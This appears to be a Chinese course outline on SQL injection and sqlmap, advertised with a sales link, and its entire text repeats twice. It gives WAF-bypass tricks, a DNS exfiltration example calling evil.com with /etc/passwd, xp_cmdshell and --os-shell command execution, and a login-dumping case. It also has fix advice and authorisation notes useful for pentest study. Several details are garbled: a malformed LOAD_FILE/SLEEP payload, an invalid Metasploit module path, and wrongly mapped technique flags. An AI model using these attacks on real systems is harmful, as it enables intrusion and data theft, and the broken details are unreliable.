获课 ♥》http://www.bcwit.top/2856/
一、基础篇:SQL 注入原理与 SQLMAP 核心功能(1)SQL 注入基础原理
漏洞本质:
解析用户输入未被正确过滤时,恶意 SQL 语句篡改数据库操作的原理(如SELECT * FROM users WHERE id='1' OR '1'='1'--绕过登录验证)。
漏洞分类:
区分联合查询注入、报错注入、盲注(布尔盲注 / 时间盲注)、堆查询注入、宽字节注入等类型的技术特征与触发条件。
危害场景:
演示数据窃取(用户密码、交易记录)、数据篡改(订单状态修改)、权限提升(执行系统命令)等攻击链路。
(2)SQLMAP 环境搭建与基础语法
多平台安装指南:Linux(Debian/Ubuntu 源码安装、Kali 集成版本)Windows(Python 环境配置 + pip 安装)移动端(Termux 配合 ARM 版 Python 运行)
核心参数解析:
bash
# 基础检测参数 -u URL # 指定目标URL --data POST_DATA # 提交POST数据 --cookie COOKIE # 携带Cookie信息 --user-agent UA # 自定义User-Agent --random-agent # 使用随机User-Agent绕过简单WAF # 注入检测参数 --dbs # 列出所有数据库 --tables -D DB_NAME # 列出指定数据库的表 --columns -T TABLE_NAME -D DB_NAME # 列出表的列 --dump -T TABLE_NAME -D DB_NAME # 导出表数据
交互模式详解:
掌握sqlmap -i BURP_LOG.txt导入 Burp 抓包文件、--batch自动确认选项、--level 3增加检测等级等实用技巧。
二、进阶篇:复杂场景下的注入技巧(1)绕过安全防护机制
WAF 绕过策略:编码混淆(URL 编码、Unicode 编码、双重编码)特殊符号拼接(/**/替代空格、/*!50000SELECT*/利用 MySQL 注释特性)流量特征伪装(模拟正常用户行为,控制请求间隔--delay 2)
过滤函数绕过:
针对addslashes()、htmlspecialchars()等函数的绕过方法(宽字节注入%df'、编码转换CHAR(113)+CHAR(113)+...)。
(2)盲注场景深度突破
布尔盲注脚本化:
利用--string "Login Success"识别布尔条件,编写--eval="python脚本逻辑"实现复杂响应判断。
时间盲注优化:
通过--time-sec 1控制延迟时间,结合--threads 10多线程加速,解决IFNULL(LOAD_FILE(), SLEEP(5))等场景的注入效率问题。
基于 DNS 的外带数据通道:
演示--dns-domain evil.com利用 DNS 日志获取数据,突破无回显场景限制(如LOAD_FILE(CONCAT('/etc/passwd', SLEEP(5), '.', @变量.evil.com')))。
(3)数据库类型差异化利用
数据库类型 特殊注入点 提权方法 系统命令执行
MySQL LOAD_FILE/INTO OUTFILE UDF 提权、文件写入 SELECT * FROM mysql.user INTO OUTFILE '/tmp/cmd.sh'
SQL Server xp_cmdshell扩展存储过程 利用sp_addsrvrolemember提升权限 EXEC master..xp_cmdshell 'whoami'
Oracle UTL_INADDR.get_host_name CREATE OR REPLACE PROCEDURE创建后门 通过DBMS_PIPE.RECEIVE_MESSAGE触发带外命令
三、实战篇:全流程渗透测试案例拆解案例 1:某电商平台登录接口盲注攻击攻击流程:
信息收集:通过 Burp Suite 抓取登录请求,发现参数username=admin&password=123测试username=admin' AND 1=1--返回正常,admin' AND 1=2--返回错误,确认存在布尔盲注
自动化检测:
bash
sqlmap -u "https://xxx.com/login.php" --data "username=admin&password=123" --level 3 --risk 3 --dbms mysql
利用--dump导出users表,获取管理员明文密码(发现数据库未加密存储敏感信息)
权限提升:通过--os-shell尝试写入 Webshell(需secure_file_priv配置为NULL),失败后改用--sql-shell执行自定义 SQL 命令
修复建议:
启用预编译语句(Prepared Statements)
对用户输入进行严格过滤(白名单校验)
敏感数据加密存储(BCrypt/SHA-256 哈希加盐)
案例 2:API 接口 SQL 注入检测技术难点:
RESTful API 参数隐藏在 URL 路径中(如/api/v1/user/1')
JSON 格式数据传输(需使用--data-urlencode '{"id":"1"}'处理)
攻击命令:
bash
sqlmap -u "https://api.example.com/api/v1/user/1" --method GET --header "Content-Type: application/json" --dbms postgres --technique T
--technique T启用时间注入,应对 API 无明显错误回显场景
通过--banner获取数据库版本信息,针对性利用 CVE-2020-10487 权限提升漏洞
四、高级专题:定制化扩展与深度集成(1)自定义 Payload 开发
Python 脚本编写:
创建/usr/share/sqlmap/scripts/payloads/custom_blind.py,实现针对特定业务逻辑的注入 Payload:
python
def tamper(payload, **kwargs): return payload.replace("AND", "&&").replace("OR", "||") # 绕过关键词过滤
加载自定义脚本:
使用--tamper custom_blind调用,突破目标系统的关键词黑名单限制。
(2)与其他工具协同作战
Burp Suite 联动:导出 Burp 历史请求为.txt文件,通过sqlmap -l burp.log批量检测使用--proxy http://127.0.0.1:8080通过 Burp 代理发送请求,实时分析流量
Metasploit 集成:
ruby
use auxiliary/scanner/sql注入/sqlmap_run set RHOSTS 192.168.1.100 set TARGETURI /login.php exploit
利用 Metasploit 模块实现自动化漏洞扫描与后续渗透。
(3)渗透测试报告撰写规范
漏洞详情:
包含漏洞发现过程、POC 验证代码、影响范围(如涉及 12 个接口,3 个数据库实例)
修复方案:
分开发阶段(代码审计工具推荐:SonarQube)、运维阶段(WAF 规则更新)、应急响应(临时封堵 IP 段)
合规性说明:
强调测试前需获得书面授权,避免触犯《网络安全法》第二十一条关于数据安全的规定。
五、安全伦理与最佳实践(1)合法使用边界
授权原则:仅对明确授权的目标系统进行测试,保存授权文件至少 2 年
影响评估:提前备份目标数据库,避免--os-shell等高危操作导致服务中断
数据保密:测试中获取的任何数据需在报告提交后立即销毁
(2)日常攻防演练建议
搭建靶场环境:
使用Docker部署 DVWA、BWAPP 等开源靶场,练习不同难度的注入场景:
bash
docker run -p 80:80 vulnerables/web-dvwa
编写漏洞复现脚本:
将常用注入流程封装为 Python 脚本,结合argparse实现参数化输入,提升测试效率。
(3)持续学习资源
官方文档:
SQLMAP Documentation(包含最新参数说明与案例库)
深度教程:
《SQL 注入攻击与防御》(第二版)、OWASP SQL Injection Prevention Cheat Sheet
社区交流:
GitHub Issue 追踪(关注sqlmapproject/sqlmap)、FreeBuf 安全问答板块
六、课程体系与学习路径(1)阶梯式能力模型
阶段 技能要求 对应模块 实战目标
入门级 掌握基础参数,完成单参数检测 基础篇 独立完成 DVWA Medium 难度测试
进阶级 绕过 WAF,处理复杂注入场景 进阶篇 突破企业级防护系统检测
专家级 自定义脚本,集成渗透工具链 高级专题 完成全链路渗透测试并输出报告
(2)学习计划建议
基础阶段(1-2 周):
掌握 SQLMAP 安装、基础参数、布尔 / 时间盲注原理,完成 3 个简单靶场测试
进阶阶段(3-4 周):
深入研究 WAF 绕过、数据库差异利用,复现 2 个真实漏洞案例(如 CVE-2019-1003006)
实战阶段(5-6 周):
在授权环境进行全流程渗透测试,编写完整漏洞报告,参与 CTF 比赛(如 DEF CON CTF)
七、常见问题与故障排除(1)注入检测失败怎么办?
检查--level参数(至少设置为 3 以检测 Cookie/User-Agent 参数)
尝试不同注入技术(--technique B/E/S/T/U分别对应布尔、报错、联合、时间、无回显)
确认数据库类型是否正确(错误指定--dbms mysql可能导致检测失败)
(2)数据导出乱码如何处理?
使用--dump --charset=utf8指定字符集
对加密字段(如 AES 加密),先通过--sql "SELECT AES_DECRYPT(field, 'key') FROM table"解密
一、基础篇:SQL 注入原理与 SQLMAP 核心功能(1)SQL 注入基础原理
漏洞本质:
解析用户输入未被正确过滤时,恶意 SQL 语句篡改数据库操作的原理(如SELECT * FROM users WHERE id='1' OR '1'='1'--绕过登录验证)。
漏洞分类:
区分联合查询注入、报错注入、盲注(布尔盲注 / 时间盲注)、堆查询注入、宽字节注入等类型的技术特征与触发条件。
危害场景:
演示数据窃取(用户密码、交易记录)、数据篡改(订单状态修改)、权限提升(执行系统命令)等攻击链路。
(2)SQLMAP 环境搭建与基础语法
多平台安装指南:Linux(Debian/Ubuntu 源码安装、Kali 集成版本)Windows(Python 环境配置 + pip 安装)移动端(Termux 配合 ARM 版 Python 运行)
核心参数解析:
bash
# 基础检测参数 -u URL # 指定目标URL --data POST_DATA # 提交POST数据 --cookie COOKIE # 携带Cookie信息 --user-agent UA # 自定义User-Agent --random-agent # 使用随机User-Agent绕过简单WAF # 注入检测参数 --dbs # 列出所有数据库 --tables -D DB_NAME # 列出指定数据库的表 --columns -T TABLE_NAME -D DB_NAME # 列出表的列 --dump -T TABLE_NAME -D DB_NAME # 导出表数据
交互模式详解:
掌握sqlmap -i BURP_LOG.txt导入 Burp 抓包文件、--batch自动确认选项、--level 3增加检测等级等实用技巧。
二、进阶篇:复杂场景下的注入技巧(1)绕过安全防护机制
WAF 绕过策略:编码混淆(URL 编码、Unicode 编码、双重编码)特殊符号拼接(/**/替代空格、/*!50000SELECT*/利用 MySQL 注释特性)流量特征伪装(模拟正常用户行为,控制请求间隔--delay 2)
过滤函数绕过:
针对addslashes()、htmlspecialchars()等函数的绕过方法(宽字节注入%df'、编码转换CHAR(113)+CHAR(113)+...)。
(2)盲注场景深度突破
布尔盲注脚本化:
利用--string "Login Success"识别布尔条件,编写--eval="python脚本逻辑"实现复杂响应判断。
时间盲注优化:
通过--time-sec 1控制延迟时间,结合--threads 10多线程加速,解决IFNULL(LOAD_FILE(), SLEEP(5))等场景的注入效率问题。
基于 DNS 的外带数据通道:
演示--dns-domain evil.com利用 DNS 日志获取数据,突破无回显场景限制(如LOAD_FILE(CONCAT('/etc/passwd', SLEEP(5), '.', @变量.evil.com')))。
(3)数据库类型差异化利用
数据库类型 特殊注入点 提权方法 系统命令执行
MySQL LOAD_FILE/INTO OUTFILE UDF 提权、文件写入 SELECT * FROM mysql.user INTO OUTFILE '/tmp/cmd.sh'
SQL Server xp_cmdshell扩展存储过程 利用sp_addsrvrolemember提升权限 EXEC master..xp_cmdshell 'whoami'
Oracle UTL_INADDR.get_host_name CREATE OR REPLACE PROCEDURE创建后门 通过DBMS_PIPE.RECEIVE_MESSAGE触发带外命令
三、实战篇:全流程渗透测试案例拆解案例 1:某电商平台登录接口盲注攻击攻击流程:
信息收集:通过 Burp Suite 抓取登录请求,发现参数username=admin&password=123测试username=admin' AND 1=1--返回正常,admin' AND 1=2--返回错误,确认存在布尔盲注
自动化检测:
bash
sqlmap -u "https://xxx.com/login.php" --data "username=admin&password=123" --level 3 --risk 3 --dbms mysql
利用--dump导出users表,获取管理员明文密码(发现数据库未加密存储敏感信息)
权限提升:通过--os-shell尝试写入 Webshell(需secure_file_priv配置为NULL),失败后改用--sql-shell执行自定义 SQL 命令
修复建议:
启用预编译语句(Prepared Statements)
对用户输入进行严格过滤(白名单校验)
敏感数据加密存储(BCrypt/SHA-256 哈希加盐)
案例 2:API 接口 SQL 注入检测技术难点:
RESTful API 参数隐藏在 URL 路径中(如/api/v1/user/1')
JSON 格式数据传输(需使用--data-urlencode '{"id":"1"}'处理)
攻击命令:
bash
sqlmap -u "https://api.example.com/api/v1/user/1" --method GET --header "Content-Type: application/json" --dbms postgres --technique T
--technique T启用时间注入,应对 API 无明显错误回显场景
通过--banner获取数据库版本信息,针对性利用 CVE-2020-10487 权限提升漏洞
四、高级专题:定制化扩展与深度集成(1)自定义 Payload 开发
Python 脚本编写:
创建/usr/share/sqlmap/scripts/payloads/custom_blind.py,实现针对特定业务逻辑的注入 Payload:
python
def tamper(payload, **kwargs): return payload.replace("AND", "&&").replace("OR", "||") # 绕过关键词过滤
加载自定义脚本:
使用--tamper custom_blind调用,突破目标系统的关键词黑名单限制。
(2)与其他工具协同作战
Burp Suite 联动:导出 Burp 历史请求为.txt文件,通过sqlmap -l burp.log批量检测使用--proxy http://127.0.0.1:8080通过 Burp 代理发送请求,实时分析流量
Metasploit 集成:
ruby
use auxiliary/scanner/sql注入/sqlmap_run set RHOSTS 192.168.1.100 set TARGETURI /login.php exploit
利用 Metasploit 模块实现自动化漏洞扫描与后续渗透。
(3)渗透测试报告撰写规范
漏洞详情:
包含漏洞发现过程、POC 验证代码、影响范围(如涉及 12 个接口,3 个数据库实例)
修复方案:
分开发阶段(代码审计工具推荐:SonarQube)、运维阶段(WAF 规则更新)、应急响应(临时封堵 IP 段)
合规性说明:
强调测试前需获得书面授权,避免触犯《网络安全法》第二十一条关于数据安全的规定。
五、安全伦理与最佳实践(1)合法使用边界
授权原则:仅对明确授权的目标系统进行测试,保存授权文件至少 2 年
影响评估:提前备份目标数据库,避免--os-shell等高危操作导致服务中断
数据保密:测试中获取的任何数据需在报告提交后立即销毁
(2)日常攻防演练建议
搭建靶场环境:
使用Docker部署 DVWA、BWAPP 等开源靶场,练习不同难度的注入场景:
bash
docker run -p 80:80 vulnerables/web-dvwa
编写漏洞复现脚本:
将常用注入流程封装为 Python 脚本,结合argparse实现参数化输入,提升测试效率。
(3)持续学习资源
官方文档:
SQLMAP Documentation(包含最新参数说明与案例库)
深度教程:
《SQL 注入攻击与防御》(第二版)、OWASP SQL Injection Prevention Cheat Sheet
社区交流:
GitHub Issue 追踪(关注sqlmapproject/sqlmap)、FreeBuf 安全问答板块
六、课程体系与学习路径(1)阶梯式能力模型
阶段 技能要求 对应模块 实战目标
入门级 掌握基础参数,完成单参数检测 基础篇 独立完成 DVWA Medium 难度测试
进阶级 绕过 WAF,处理复杂注入场景 进阶篇 突破企业级防护系统检测
专家级 自定义脚本,集成渗透工具链 高级专题 完成全链路渗透测试并输出报告
(2)学习计划建议
基础阶段(1-2 周):
掌握 SQLMAP 安装、基础参数、布尔 / 时间盲注原理,完成 3 个简单靶场测试
进阶阶段(3-4 周):
深入研究 WAF 绕过、数据库差异利用,复现 2 个真实漏洞案例(如 CVE-2019-1003006)
实战阶段(5-6 周):
在授权环境进行全流程渗透测试,编写完整漏洞报告,参与 CTF 比赛(如 DEF CON CTF)
七、常见问题与故障排除(1)注入检测失败怎么办?
检查--level参数(至少设置为 3 以检测 Cookie/User-Agent 参数)
尝试不同注入技术(--technique B/E/S/T/U分别对应布尔、报错、联合、时间、无回显)
确认数据库类型是否正确(错误指定--dbms mysql可能导致检测失败)
(2)数据导出乱码如何处理?
使用--dump --charset=utf8指定字符集
对加密字段(如 AES 加密),先通过--sql "SELECT AES_DECRYPT(field, 'key') FROM table"解密